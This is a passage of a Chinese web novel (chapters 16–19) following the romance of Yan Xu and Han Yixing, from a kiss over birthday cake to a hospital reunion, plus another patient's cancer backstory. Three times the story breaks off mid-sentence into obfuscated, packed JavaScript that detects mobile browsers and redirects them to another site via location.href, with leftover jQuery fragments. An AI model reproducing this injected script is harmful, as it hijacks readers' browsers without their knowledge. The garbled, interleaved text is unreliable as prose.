韩翊行被他逗乐了,“那晚上一起上自习?” “那太好了!”言叙看起来很开心,“我回宿舍拿书,那我们7点还在这里见面?” “好。” 七点碰面,言叙背了个黑色双肩包,两人一起去找了个人少的教室,从后门进去,坐在最后一排。 这个教室比较小,只有前边坐了两个人,一男一女,挨得比较近,看起来像是一对情侣。 言叙把书拿出来,写了会儿题,悄悄往旁边瞄了一眼。 眼角余光瞥到韩翊行在低着头,认真写着什么,不时推下眼镜。 言叙的目光又飘向前排那对情侣,男生附在女生耳边,不知道在说什么,两个人脸上都洋溢着幸福的笑容。 正看得出神,韩翊行轻轻用指背叩了叩他的桌子。 言叙立马收回视线,朝韩翊行看过去,对他露出一个有些无赖的笑容。 韩翊行拿笔在笔记本上写“认真看书”,放到言叙面前。 言叙并拢右手食指和中指,在太阳穴那里一挥,表情庄严肃穆。 韩翊行被他逗笑了。 言叙低头看了会儿书,觉得气氛有点诡异,前边有窸窸窣窣的声音。 抬起头正要朝前看过去,眼睛突然被一只大手捂住了。 清淡的岩兰草味道肆无忌惮往撞击着言叙的嗅觉细胞。 言叙身子僵了僵,只听韩翊行以极低的声音在他耳边说:“少儿不宜。” 前边传来椅子响动的声音,随后是开门关门声。 韩翊行放下捂着言叙眼睛的手。 言叙看到前边空无一人,教室里只剩他和韩翊行。 “他们......”言叙看向韩翊行,“亲嘴了?” 韩翊行的脸漫上薄红。 “看你的书。”韩翊行故作镇静地说。 “yes sir!” 言叙虽然面向书,但怎么也看不下去。 刚才韩翊行手掌温热的触觉似乎还残留在眼周,而且似乎还有越来越热的趋势。 言叙偏头看向韩翊行,金丝框眼镜后是一双形状漂亮的眼睛。 眼尾狭长又微微上挑,瞳仁是浅灰色的,给人一种冷淡不好接近的感觉。 “看什么呢?” 韩翊行手上写着字,头也没抬。 言叙被抓包也不尴尬,从容地说:“学长,你眼镜多少度的?” 韩翊行放下笔,和言叙视线交汇,“500。” “噢,”言叙略带遗憾地托着下巴,“我都没戴过眼镜。” 韩翊行轻笑一声:“戴眼镜有什么好?” 不仅压鼻梁,还容易起雾。 “就......很帅啊,看起来很有文化的样子。” 韩翊行嗤笑一声,摘下自己眼镜给言叙戴上,“我看看有多帅。” 言叙眼前瞬间糊成一片。 他学着韩翊行的样子,把眼镜往上推了推。 眼前的景象似乎都隔着距离,有种不真实的感觉。 眼睛像是被压迫着,有点睁不开。 眨了几下眼,言叙才意识到问题所在,于是说:“压着我睫毛了,眼睛都睁不开。” 韩翊行凑过来看他:“我看看你睫毛有多长,还能被镜片压到。” 言叙把头稍稍偏转了一个角度,后知后觉地发现,他和韩翊行似乎离得太近了。 连呼吸都交缠到一起了。 时间仿佛被按下了慢速播放。 言叙眨了眨眼睛。 隔着镜片看到的世界模模糊糊没有真实感。 清新好闻的岩兰草味道将他包裹。 他抬了抬下巴,试探地凑过去,在韩翊行脸颊上亲了一下。 唇间是温热细腻的触感,激起轻微酥麻,蔓延至心头。 只是蜻蜓点水般地碰了一下便分开。 言叙听到韩翊行的呼吸陡然变得粗重起来。 17. 第17章 开门声打破了那片旖旎,刚才那对情侣回来了,坐在之前的位置上。 言叙瞬间坐得笔直,一脸正直。他把眼镜摘下来放韩翊行那一侧。 韩翊行迟滞的脑子里只有一个想法:言叙的嘴唇好软。 好半晌,他转头看向言叙,似乎想说什么,看看前边那两人,再看看言叙那心无旁骛的神情,几番欲言又止。 没过一会儿,韩翊行的导师给他打电话让他去办公室,他不得不匆匆离开了。 当天深夜,韩翊行忙完给言叙发了条微信。 H.Y.X:【睡了吗】 没有回应。 言叙是第二天早晨才看见的。 言:【学长,我刚看到,昨天睡得早。】 H.Y.X:【嗯,今天有课吗?】 言:【一整天的课】 H.Y.X:【好好上课】 谁也没再提昨天晚上的事,好像只是言叙戴上眼镜之后误入了幻境。 言叙照常上课,上自习。 一天晚上,暴雨突至,还伴着狂风。 言叙记得他出来的时候还艳阳高照,谁知道这6月的天就像小孩的脸,说变就变。 原以为下一阵就小了,谁知道,不仅雨没小,还刮起了狂风。 言叙觉得今晚估计得在教室凑合一晚上了。 手机屏幕亮了起来。 学长:【在哪?】 言:【A教,尴尬.jpg】 学长:【那边停电了吗?】 言叙看了眼黑漆漆的教室,现在就只剩他一个人了。 他不怕黑,也不怕鬼,就是担心晚上趴桌子上睡会睡不舒服。 言:【停了。】 学长:【你在哪个教室?】 言叙一惊,韩翊行这么问,是要来接他吗? 言:【学长,外面风大雨大不安全,我在教室凑合一晚上就行了。】 韩翊行没有再发消息过来。 手机发出低电警报,言叙百无聊赖地趴在桌子上。 不知过了多久,教室后门被推开,有人气息不稳地喊了一声:“言叙。” 言叙直起身,回头看过去。 借着楼道里指示灯微弱的光芒,言叙看到韩翊行站在教室后门口,头发上滴着水,衣服贴在身上,像是刚从水里捞出来的。 “学长!”言叙猛地站起身,朝后门走去,“你怎么来了?” 看到言叙状态不错,韩翊行释然一笑:“担心你一个人害怕。” “可是你身上都湿了......” “没事儿,一会儿就干了。” 韩翊行把雨伞放墙角,掀起上衣拧了两把,水哗哗流到地上。 言叙从包里拿了纸巾,抬手要给他擦头发上的水。 教室里很安静,能听到彼此的呼吸声。 韩翊行嫌弃自己身上被雨水淋过,有意和言叙保持距离。 “我自己来吧。”韩翊行接过言叙手里的纸巾,往自己头发上胡乱抹了两下。 言叙抿了下嘴唇,在和韩翊行隔了两个位置的椅子上坐下。 他那天偷亲韩翊行,终究是冒犯了。 韩翊行借着手机的光芒看了下他和言叙中间空荡荡的位置,心里一阵失落。 几天前一起上自习的时候,他们的座位还是挨着的。 两个人各怀心思,谁也没说话,连呼吸声都压得很轻。 言叙趴在桌上,看着不时被闪电点亮的天空,以及被狂风吹得东倒西歪的树木。 不知不觉竟也睡着了。 胳膊的酸痛把言叙叫醒,窗外风雨已经停了,东方天空已经出现了万道霞光。 手机已经没电关机了。 他坐直僵硬的身子,回头发现韩翊行不知道什么时候已经走了。 教室里的水印也都已经干透了,就好像从来不曾存在过。 言叙背起自己的书包,离开教室。 韩翊行身上的衣服潮湿粘腻,隐隐透着股发霉的味儿,这对于一个洁癖来说,无异于极刑。 好不容易捱到雨停了,言叙睡得很安稳。 他想以最快的速度回宿舍洗个澡,换身衣服,在言叙醒来的时候,能恢复成一个干净整洁的自己。 没想到等他回到教室的时候,教室里已经空无一人了。 韩翊行想给言叙发个微信,脑海中突然浮现出言叙昨晚的冷淡,以及趴在桌上时只留给他的后脑勺。 想来自己沉闷无趣,对言叙这么鲜活有灵气的人来说,很快就厌烦了。 - 言叙回忆起,雨夜韩翊行淋得满身湿特意去陪自己,自己居然连声谢谢都没说,他懊恼得很。 但是当时没说,以后再说就越来越刻意。 而且,只是嘴上说说,未免显得太不当回事了。 - 韩翊行从教学楼出来已经8点了,他最近在准备执业医师考试,一会儿还要去实验室。 “学长,”言叙从教学楼前的雕塑旁绕出来,走到韩翊行面前,“生日快乐!” 言叙突然出现,韩翊行除了惊喜,竟还生出一种失而复得的感慨。 韩翊行弯起唇角,低头看到言叙手里拎着个小蛋糕。 “谢谢,”韩翊行微笑着说,“你怎么知道我今天过生日?” 言叙有些不好意思地挠挠头:“我那天不小心看到你驾驶证了,你生日正好是今年的夏至,挺好记。” 韩翊行想起来,一起上自习那天,自己拿东西把驾驶证带出来了,言叙捡起来还给他的。 言叙说:“我是真的没想到,学长居然才比我大半岁。” 韩翊行上学的时候频繁跳级,所以他研一的时候,他的同龄人才刚上大一。 韩翊行因为常年和比自己大四五岁的人在一起,再加上性格使然,所以比起同龄人,多少会显得有点成熟老练。 韩翊行笑着说:“比你大半岁我就放心了。” 一方面,大半岁也是大,叫学长不会别扭。 另一方面,韩翊行自己也没搞很清楚,他知道言叙只比自己小半岁的时候,潜意识里盘算的是,成年了。 不是像自己这样连跳好几级,大四的时候才刚满18岁。 言叙弯着眼睛拎起蛋糕,“学长,有时间吗?” “有。” 言叙给他过生日,没时间也得变成有时间。 他给实验室的师姐发了个微信请假。 教学楼前面人来人往,言叙带韩翊行绕到教学楼后面。 这里灯光昏暗,人迹罕至。 两人坐在常年紧闭的后门门口的台阶上,把蛋糕放中间。 言叙把包装盒打开,露出里面精致漂亮的奶油蛋糕。 用红色果酱写着:学长,生日快乐! 言叙往上面插蜡烛,插了一个数字1,一个数字9。 “咔哒”一声按下打火机,烛火跃动。 “学长,许愿吧!” 隔着昏黄烛光,韩翊行深深看了言叙一眼,双手交叠着放到胸前,眼睛轻轻闭起。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16305486|182819||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >他许下了一个愿望。 睁开眼,吹灭蜡烛。 言叙边拔蜡烛边问,“学长,你许的什么愿呀?” 韩翊行轻声说:“等实现了我告诉你。” 言叙笑笑,开始切蛋糕,切了一大块给韩翊行。 韩翊行接过蛋糕,说:“这块蛋糕有点大了,我吃不完。” 他不太喜欢吃甜食。 言叙帮自己切了一块,拿小叉子叉着吃,“不用担心学长,你吃剩的给我,我喜欢吃蛋糕。” 他买的4寸小蛋糕,两个人吃刚刚好,他本来就爱吃蛋糕,加上晚饭没吃,一个人都能吃完一整个。 你吃剩的给我,韩翊行记得,那天言叙给他买饮品,似乎也是这么说的,他心中最柔软的地方被触动。 韩翊行忽然想起什么,问道:“刚才等我很久吗?” 他刚从教室出来言叙就喊他,显然之前就是等在那儿的。 “也没多久。”言叙说。 “几点过去的?” 言叙假装吃蛋糕很忙,没有回答,韩翊行从蛋糕盒底下抽出一个手写的取货单。 上面写了,取货时间16:00。 “怎么不给我发消息。”韩翊行想到言叙可能在那等了他4个小时,就忍不住心疼。 言叙说:“怕打扰你。” 其实更深层的原因,是言叙害怕韩翊行不回消息。 几天没联系,让他觉得心中忐忑不安,想着见面三分情,面对面说他能看到韩翊行脸上的表情,不用看着手机屏幕上没有温度的文字胡思乱想。 “以后不要怕打扰我,”韩翊行盯着言叙被月光笼罩的脸庞,“我看到了就会回复。” 言叙咬着叉子点点头。 两个人安安静静地吃蛋糕。 言叙把自己那块吃完了,又把蛋糕托盘上剩的全吃完了,韩翊行盘中的蛋糕还剩一小半。 看得出来他不喜欢吃蛋糕了。 言叙接过他的盘子,三下五除二吃完了。 把用过的纸盘、蛋糕托盘,包装袋等都塞到袋子里,放一边。 突然之间没事干了,气氛怪尴尬的。 韩翊行偏头盯着言叙的脸,“你这里,有奶油。”他指了指自己的嘴角。 言叙探出一点粉嫰的舌尖,将唇角的奶油勾回口腔内。 “还有吗?”言叙将脸转向韩翊行,将下巴微微探出一点,好让韩翊行看得更清楚。 韩翊行的喉结滚了滚。 他点了点头,“还有。” 言叙眉心微不可察地蹙了一下,抬起手要去擦嘴角。 抬到一半,手猝然被一个温热宽厚的手掌按回腿面上。 韩翊行右手按住言叙的手,左手贴上他的后颈,微微用力,将他拉向自己。 不等言叙反应过来,韩翊行探身靠近言叙,用嘴唇把他唇角的奶油抿掉了。 韩翊行和言叙微微分开几厘米,感觉到言叙呼吸急促了些,但并没有转头躲开,更没有把他推开。 他只是眨了眨眼睛,还保持着刚才的姿势不动。 下一刻,韩翊行深深吻住他的嘴。 他们接了一个时间很长的、奶油味儿的吻。 韩翊行放开他的时候,两个人都有些缺氧,急促地喘息着。 韩翊行胸腔起伏,对言叙说:“我的愿望实现了。” “你......许的什么愿望?”言叙喘息不定。 韩翊行亲了亲他的嘴角,嗓音低沉带着哑意:“把我的初吻给你......” 18. 第18章 他们就这样在一起了。 研二没多久,韩翊行请宿舍的人吃饭,正式把言叙介绍给他们。 所以当张博问他,当初是谁追的谁,韩翊行也不是很能确定。 但是韩翊行依然说:“他追的我。” 分享会很快开始了,两人没再说话。 回到三院的时候,已经下午四点了。 韩翊行换好白大褂,去言叙病房。 他一进门先跟沈暮说了几句话。 中间的病床已经住了新人进来。他越过中间病房,直接走到最里边。 床上的人面朝里躺着,被子蒙着头。 韩翊行站在床边,手插着兜,清了清嗓子:“换药了吗?” 床上的人转头过了,却是一个生面孔。 “没给我开药哇。” 韩翊行被吓了一跳,连声抱歉,转头问沈暮:“言叙呢?” 沈暮替人尴尬的毛病犯了,“言叙不是出院了吗?” 韩翊行脸色瞬间黑了,一副兴师问罪的架势离开了病房。 回到办公室,韩翊行冷着脸问:“谁给言叙办的出院?” 一个主治医师站起来,有点懵:“病人说有急事要出院,我请示了主任,主任批了我才给开的出院单。” 韩翊行无从发作。 主治医生毕竟是人,会下班,会休假,如果主治医生不在,其他医生也会根据病人恢复情况和病人的要求办理出院,这无可非议。 但是韩翊行心里窝着一团火,他感觉自己要炸了。 那位主治医师小心翼翼地说:“韩大夫,我叮嘱他一周后复查了。” “刚才......不好意思,”韩翊行敛了神色,又说了句“辛苦了。” 主治医师如蒙大赦,坐回自己位置上。 韩翊行走到他桌前,“刚才对不起了。” “没关系,没关系!” 韩翊行拿出手机,找到言叙的电话号码,手指在屏幕上悬停半晌,最终拨了出去。 回应他的是机械女声:对不起,您拨打的号码已欠费,Sorry,the subscriber you dialed is out of service...... 下班的时候,韩翊行路过医院门口的烟酒店,第一次走进去。 他说:“老板,拿包黄果树。” 老板笑着说:“怎么不拿包好点的,黄果树劲儿大,还苦。” “黄果树就行。”韩翊行说,“多少钱?” “8块。”老板心里嘀咕,这人穿的这件大衣怎么也得几千块,手机也是上万的,怎么抽最便宜的烟哟。 韩翊行扫码,说:“再拿个打火机。” 老板问:“有一块的,有400的,要什么价位的?” 韩翊行指着一个黑色有磨砂质感的打火机:“这个多少钱?” 老板说:“400。” 韩翊行在付款页面输入408,“就要这个。” 他站在路边撕开烟盒上的透明纸,拿了一枝烟叼在唇间,打火机弹开有种刀剑破空的声效,他把烟点着。 吸了一口,被呛得咳了半天。 明明是同一种烟,但现在这支,比之前在露台上捡的言叙那支,要难抽一百倍。 不过,他还是把一整根都抽完了,嘴里又涩又苦。 - 言叙出院后回到他租的小阁楼,看着镜中的自己穿着10年前的衣服,有种恍如隔世的感觉。 看了一会儿,他拖个了凳子过来,站上去取下衣柜顶上一个落满灰尘的盒子。 打开盒子,里面是一个大约高30厘米的人形机器人。 言叙腾出块儿地,把机器人放那,自己拿着遥控器。 机器人在他的控制下出拳、踢腿,关节灵活,好像一个缩小版的人类。 这是言叙当年的毕业设计。 他当时做了两个差不多的机器人,其中一个送给了韩翊行。 试了试手里这个机器,状态依然良好,稍加改造,就能拿去参加机器人格斗大赛了。 言叙又打开电脑,搜索了比赛相关信息,又把之前两届的参赛视频都看了一遍。 不知不觉时间到了晚上8点,言叙穿好衣服,从小区门口的小超市买了个面包,边走边吃。 月夜酒吧位于酒吧一条街中心的位置,装修看起来文艺又怀旧,晚上9点已经有不少人了。 言叙从后门进去,直接去更衣室换上服务生的衣服。 出去的时候遇到浪哥,浪哥叫道:“宝贝儿,你可算来了!” 浪哥是月夜酒吧的主管,平常老板基本不在,大小事都是浪哥在操持。 “浪哥。”言叙叫了声,算是打了招呼。 “你什么病啊宝贝儿?”浪哥推了推无镜片的玳瑁镜框,“怎么住院这么长时间?” 言叙心中感慨,七天还算久?要是听医生的,没准儿得让他住一个月。 “没什么大病,”言叙对于痔疮的事还是有些难以启齿,“不影响工作。” 言叙是这里的服务生,主要是给客人上酒饮,如果客人从他这里点了酒,他能获得提成,有时候客人也会给小费。 总体来说收入不低,但除了吃饭租房,余钱基本都用来还债了。 言叙长得好看,有不少顾客是冲着他来的。 忙了一会儿,来了一位熟客。 这位周姐之前经常给言叙捧场,开几万一瓶的酒眼睛都不带眨的。 今天周姐进来之后,言叙本想上前打个招呼,没想到,周姐目不斜视地从言叙身边走过,径直走到喻晨身边。 音乐声有点大,言叙没听清他们在说什么,他也不感兴趣。 浪哥走过来拍拍他的肩膀:“看到没,一个星期不来,客户被人抢走了吧。” 言叙笑笑,没发表什么意见。 说起来,喻晨也是个肩宽腿长的帅哥,和言叙来月夜酒吧的时间差不多。 但喻晨是比较高冷的类型,比言叙更不善言辞。 虽然两人没说过几句话,但言叙直觉,喻晨不是那种会耍什么小手段抢客户的人。 而且,客户想从谁那买酒是客户的自由,客户又不属于服务生,谈什么抢走。 有一桌在招呼服务生,言叙走过去,礼貌问:“请问有什么需要的吗?” 招手的是一个醉醺醺的中年男子,喝得脸都红了,他说:“帅哥,陪我喝一杯。” 在酒吧工作,遇到这种情况是家常便饭。 言叙仍是礼貌地说:“对不起先生,我现在在工作,不能喝酒。” 那男人“啪”地把一叠百元大钞拍桌上:“喝一杯,这些是你的!” 言叙仍是婉拒:“实在对不起先生,我这两天感冒吃了头孢,实在是不能喝酒。” 男人去拽言叙的手,被言叙推开,男人瞬间就火了,把酒瓶往桌沿上一砸,顿时碎玻璃和酒液四下飞溅。 那人拿着手里剩的带有尖锐玻璃的酒瓶朝言叙刺过来。 电光石火之间,有人闪身挡到了言叙面前,快如闪电地捏住那男人的手腕,“咔嚓”一拧,男人手被反剪在背后,碎酒瓶被顺势拿走。 是喻晨! 只见喻晨薅着男人脖领把他扔了出去,并对门口保安说:“别再让他进来了。” 对这种场面都已经司空见惯,浪哥找人打扫了碎玻璃,又给被惊扰到的客人送了甜点。 “干得不错。”浪哥拍了拍喻晨的肩膀。 月光酒吧不是言叙工作的第一家酒吧,之所以会留在这里,是因为这里的老板和浪哥虽然爱财,但取之有道。 不会枉顾员工意愿让他们去陪酒,遇到这种客户,宁愿不做这单生意,也不会让自己的员工吃亏。 言叙对喻晨说:“谢了。” 喻晨冷淡地说了句:“不客气。” 早上九点多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16305487|182819||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,言叙洗漱完换完药正准备睡觉,手机突然收到一条中国移动的短信。 【充值到账提醒】尊敬的客户,您已通过互联网成功充值10000.00元,目前余额9999.98元。 言叙惊得瞪大眼睛,看着那一串零数了好几遍。 昨天他确实收到了欠费停机的短信,后来忘了充值了。 这是谁给充了这么多钱? 还是说,是有人充错了,充到他的号码上了? 言叙等了半天也没有人联系他。 正准备睡觉,有个本地座机给他打电话。 “您好,请问是言叙先生吗?”是个甜美女声。 言叙愣了一下,“我是。” “您好言先生,我这里是宁城三院的,您之前是在我们这里住院了是吧?” “对,我昨天刚出院。”言叙说。 “好的言先生,为了提高我们的服务质量,能不能邀请您针对我院的服务做一个反馈性评价呢?” 言叙问:“怎么评?” “言先生,是这样,我给您发一个调查问卷,还请您根据实际情况如实填写,调查结果关系到主治医生的晋升评级。” “哦,好的,我一定如实填写。”言叙一听可能关系到韩翊行的升职,便决心认真填写,“你发给我吧。” “好的言先生,通过这个手机号能加到您的微信吗?”对方问。 言叙想了想,“手机号搜不到,我的微信号是yx1111。” “好的言先生,那我就先不打扰您了,稍后请您通过一下好友请求,我会把问卷链接发给您的。” “好的谢谢。”言叙想了想,又问,“你给我充话费了吗?” 对方说:“没有啊。” 挂断电话,言叙打开微信,有个人添加好友,昵称叫“宁城三院”,头像是三院的Logo。 他点了同意之后,对方很快就把问卷链接发过来了:2024年度宁城三院住院患者满意度调查问卷(匿名版)。 刚开始填了一些性别、年龄、科室之类的基本信息之后,言叙从下边题目中选择了他的主治医生:韩翊行。 然后是一些您对医护人员的工作态度是否满意,您对医护人员的工作能力是否满意等等。 再然后有道题言叙觉得有些怪异。 您目前的感情状况是: 1.已婚 2.热恋 3.有暗恋对象但不打算主动出击 4.单身但有追求对象 5.单身,无暗恋对象 言叙觉得这道问题风格和前边有些不太搭,但这行下边有一行备注,前边还画了星号,写着:此题非常重要,请如实做答,感谢您的配合。 压下心中怪异的感觉,言叙选了第5项:单身,无暗恋对象。 这时,杨子轩给他弹了个视频。 杨子轩问:“言哥,你在干什么呢?” 言叙说:“医院让填个调查问卷,给你发了没有?” 杨子轩说:“没有哇,调查什么的?” 言叙说:“说是会关系到主治医生升职的,好多问题呢。” 杨子轩不忿地说:“这么重要的东西怎么能不发给我?我得给韩大夫投票呢!言哥,快转发给我,快!到时候韩大夫升主任了,我们都是功臣啊。” 言叙说:“行,我马上转发给你。” 突然想起什么,言叙问:“子轩,你给我充话费了吗?” 杨子轩说:“言哥,我都不知道你电话号码。” 挂断视频通话,言叙把调查问卷转发给杨子轩。 杨子轩收到后,立马上号直播:大家都去投韩翊行大夫一票! - 韩翊行从手术室出来,拿出手机,有一个短信通知。 【问卷星】恭喜您收到17654份反馈,点击查看问卷结果。 韩翊行(眼前一黑):...... 19. 第19章 言叙照常上班下班,按时换药,恢复得很快。 这天下班后,收到“宁城三院”那个微信号发来的消息: 温馨提示:今天是您复查的日子,别忘了携带证件来三院找主治医生复查哦~ ——此消息为系统自动发送 他几年前住过一次院,是在一个偏远的小县城。后来他爸言怀英得了尿毒症,他更是没少往医院跑。 那边医院里的医生护士都忙得团团转,根本没有什么服务质量调研,更别提提醒患者复查了。 看来宁城三院服务质量是真的好。 言叙没回复,揣起了手机。 回到阁楼,他先捣鼓了一会儿机器人,闹钟响过之后,去睡觉。 睡到傍晚,拿起手机,看到沈暮给他发了微信。 沈暮:【小言,你今天没来复查吗?】 言:【刚看到】 言:【我没去,已经好得差不多了】 沈暮:【还想着你来的时候能见一面呢,韩大夫说我恢复得不错,允许我放几个小时的假,可以出去玩】 看到韩大夫三个字,言叙愣了几秒钟。 言:【恭喜你啊,那我们一起去吃个饭?】 沈暮:【太好了!你什么时候有时间?】 言:【明天中午可以。】 两人约了一个距离三院步行几分钟可以到的地方。 一是照顾沈暮不用奔波,二是言叙也打算去趟医院。 不是复查,而是去还钱。 他住院的费用是救助基金会付的,他还年轻能工作,不想占用这笔善款。 他这几天从自己各个卡里凑了凑,又找浪哥借了点,加上之前找老板预支的工资,足够偿还他的住院费了。 言叙跟收费工作人员说明来意,工作人员查了查,说:“你的情况不符合救助基金会的救助条件,肯定不是基金会付的,会不会是某位好心人帮你付的?” 言叙想起来,他之所以以为是基金会付的,是因为韩翊行如此告诉他的。 他心中有了成算。 他把钱给了工作人员,让工作人员把之前的金额原路退回去。 他又去隔壁移动营业厅,交了100元话费,然后让工作人员把之前有人给他充值的一万块原路退回。 - 韩翊行接连收到两条短信。 【退款到账提醒】您的退款12000.00元已到账。 【退款到账提醒】您的退款10000.00元已到账。 韩翊行直想摔手机。 这时候,沈暮敲门进来。 “韩大夫,我今天想请假出去几个小时,和朋友吃个饭。” 韩翊行抬眼:“和谁?” 沈暮一摊手,没说什么。 韩翊行拿出手机看了看自己今天排的满满当当的手术。 “去吧,别走太远,别喝酒,早点回来。”韩翊行说。 “谢谢韩大夫!” 沈暮转身要走,犹豫几秒钟,回头说:“韩大夫,当年在江州你救我的时候,我好像听到你一直在喊一个名字。” 韩翊行怔住。 沈暮接着说:“你喊的那个名字,是不是‘言叙’?” 韩翊行盯着自己手腕内侧的疤痕失神了几秒,涩声说:“别告诉他。” “嗯。”沈暮点点头,离开医生办公室。 言叙比沈暮到得早几分钟。 第一次互相见到对方没有穿病号服的样子,两个人都有点不适应,笑了半天。 沈暮还是病号,言叙刚出院没多久,俩人点的菜都很清淡。 点完菜,服务员问:“需要餐后甜点吗?” 沈暮翻了翻点菜单,指着一个甜品问言叙:“要不要来个草莓小蛋糕?” “不用。”言叙声音突然有些冷,“我不吃蛋糕。” 沈暮怔了一下,笑着问:“那来个水果捞?” 言叙神色恢复如常,淡声说:“行。” 点完菜,沈暮笑着问言叙:“小言,你不去复查,是不是在躲着韩大夫啊?” “没有,”言叙抿了口柠檬茶,“我躲着他干什么。” 沈暮笑出声,“昨天你没来,韩大夫整个下午脸都是黑的,实习生们都战战兢兢的。” 言叙说:“他那是怕我跑了,我还欠他钱呢。” 沈暮睁大眼睛,满脸疑惑。 “我之前欠他20万,到现在还没还上。”言叙说。 “你们分手跟这个有关系吗?”沈暮问道。 言叙似乎陷入沉思,分手的原因...... 他摇摇头:“跟这没关系,快毕业那会儿因为工作的事情总吵架。” “吵什么?” 言叙想了想,“他家里希望他留在北城,我想来宁城......” 他说不下去了,气氛静默了几秒。 沈暮说:“可是他最后也来了宁城。” 言叙像是被什么击中,喉间酸涩难言。 半晌,言叙敛了情绪,笑着对沈暮说:“别光说了我,说说你吧,听你说你恢复得不错,我能问问你得了什么病吗?” 之前在病房的时候一直没敢问,因为感觉沈暮总是有点消沉,而且手术的部位是腹部,言叙担心是很严重的病。 事实上,沈暮得的确实是很严重的病。 “结肠癌,”沈暮缓声说,“发现的时候已经出现了肝转移。” 听到“癌”字,言叙顿了一下,一时不知道该说什么。 在很多人眼里,癌症是绝症,是不可治愈的,本能地会对这个字产生恐惧。 好在昨天沈暮说他恢复得很好,而且现在医生还允许他出来散心。 “那现在......”言叙斟酌措辞,不知道该怎么问。 “不用担心啦,”沈暮笑着叉水果吃,“韩大夫说我的癌细胞已经被消灭了超过五分之一,过不了多久我就能痊愈了。” “那太好了。”言叙心情有些沉重,看着沈暮目前的状态,怎么没法和癌症扯上关系。 “好了之后想去干什么?”言叙问。 沈暮鼻根有些酸涩,他揉了揉鼻子,声音有点哑:“要去把我哥哥追回来。” “哥哥?”言叙疑惑道,“什么哥哥?” 沈暮眼睛泛红,仍是笑着说:“当然是情哥哥了。” 一出生便被父母抛弃,沈暮是在孤儿院长大的。 性格孤僻,没什么朋友,只有一个和他同样孤僻的小朋友,会在沈暮的棒棒糖被别人抢走之后,把自己那一支给他吃。 那人和沈暮同岁,比沈暮大几个月,个子比他高很多,眼神看起来很凶。 每次帮了沈暮之后,沈暮总会笑着说:“谢谢哥哥。” 孤儿院里的老师给那个男孩叫小树。 沈暮开始对小树展现出黏人的一面,整天哥哥长,哥哥短的。 小树一边嫌弃他黏人精,一边又攒钱给沈暮买画画的颜料。 18岁时,沈暮有一次去河边写生,不小心掉河里。 被小树救上来的时候已经没有心跳了。 那里荒郊野岭,没有人,也没有手机。 小树一直不停地给他做心肺复苏,沈暮依然毫无反应。小树一刻不停地继续按压胸腔。 终于,沈暮咳出一口水,苍白的脸上稍稍有了血色。 他睁开眼看到小树的第一眼,发现他满脸都是泪水,见沈暮醒过来,小树坐在一旁嚎啕大哭。 沈暮从来没见小树哭过,那是第一次。 后来,沈暮问小树:如果那天我没有醒过来怎么办? 小树说:那我跟你一起死。 沈暮心中钝痛,亲吻小树的唇角,被小树发泄般地狠狠亲回来。 高中毕业后,他们去了同一个城市,沈暮读大学,小树打工。 两人租了房子,住在一起。 有一天,他们租住的房子意外坍塌,小树不顾一切替沈暮挡住屋顶落下来的横梁,自己被砸的奄奄一息。 沈暮把自己能找到的半杯水,每次几滴,喂给多数时间昏迷少数时间清醒的小树,自己嘴唇干裂到流血。 没有食物,水源匮乏,两个人在那方狭小的空间里坚持了72小时,终于等来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16305488|182819||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了救援。 后来,两个人都非常努力工作,努力赚钱想买一个小房子。 漂泊二十多年,他们太渴望有一个小家。 得知自己得了结肠癌后,沈暮感觉天都塌了。 治疗费用一大笔先不说,最重要的是,医生说,已经是晚期了,手术和化疗的效果都微乎其微。 即便是钱花了罪受了,可能也续不了命。 沈暮几度挣扎想告诉小树,希望自己所剩不多的时光里,小树能陪着自己。 可是又想到当年河边,小树说“我跟你一起死”时那决绝的眼神。 沈暮希望自己的爱人能好好活着。 于是那之后,沈暮开始找茬跟小树吵架,嫌他赚钱少,嫌他学历低,说跟他在一起自己觉得很丢人。 小树几番沉默,无言以对。 后来,沈暮发现小树起早贪黑,除了他原本的工作,又多打了两份工。 晚上沈暮半夜疼醒,发现小树坐在出租屋的小桌子上,开着灯光微弱的小台灯,在写试卷。 沈暮的心被揪紧了。 第二天,他借故跟小树大吵一架,把家里的东西全摔了,包括床头摆的他俩的合照,和桌子上那盏小台灯。 时间剩的不多了,沈暮想,之前好像听孤儿院的院长说过,他的母亲好像是从宁城来的。 宁城离江州有两千多公里,他从来没有去过。 他要死远一点。 不能让小树知道。 他希望小树恨他刻薄势利,然后好好活下去。 他坐了十几个小时的硬卧,来到宁城,这个他母亲曾经待过的地方。 然后眼前一黑,他晕了过去。 不知过了多久,沈暮醒过来,医生跟他沟通病情。 他恍恍惚惚地说:“医生,我好像见过你。” 韩翊行笑着点点头:“我第二次救你了。” 